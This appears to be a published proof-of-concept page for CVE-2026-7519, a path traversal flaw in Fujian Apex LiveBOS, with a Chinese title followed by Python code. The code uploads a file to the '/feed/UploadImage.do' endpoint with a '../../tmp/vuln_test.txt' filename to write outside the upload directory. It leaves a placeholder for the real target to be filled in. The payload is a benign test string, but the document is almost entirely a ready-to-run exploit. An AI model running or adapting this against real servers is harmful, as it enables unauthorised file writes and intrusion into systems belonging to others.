CVE-2026-7519: Fujian Apex LiveBOS路径遍历漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-7519: Path Traversal in Fujian Apex LiveBOS """ upload_url = f"{target_url}/feed/UploadImage.do" # Malicious filename using path traversal sequences payload_filename = "../../tmp/vuln_test.txt" files = { 'file': ('blob.txt', b'CVE-2026-7519_POC_TEST', 'text/plain') } data = { 'filename': payload_filename } try: response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {upload_url}") print(f"[+] Server response: {response.text[:100]}") print("[+] Check if the file was created at ../../tmp/vuln_test.txt") else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit(target)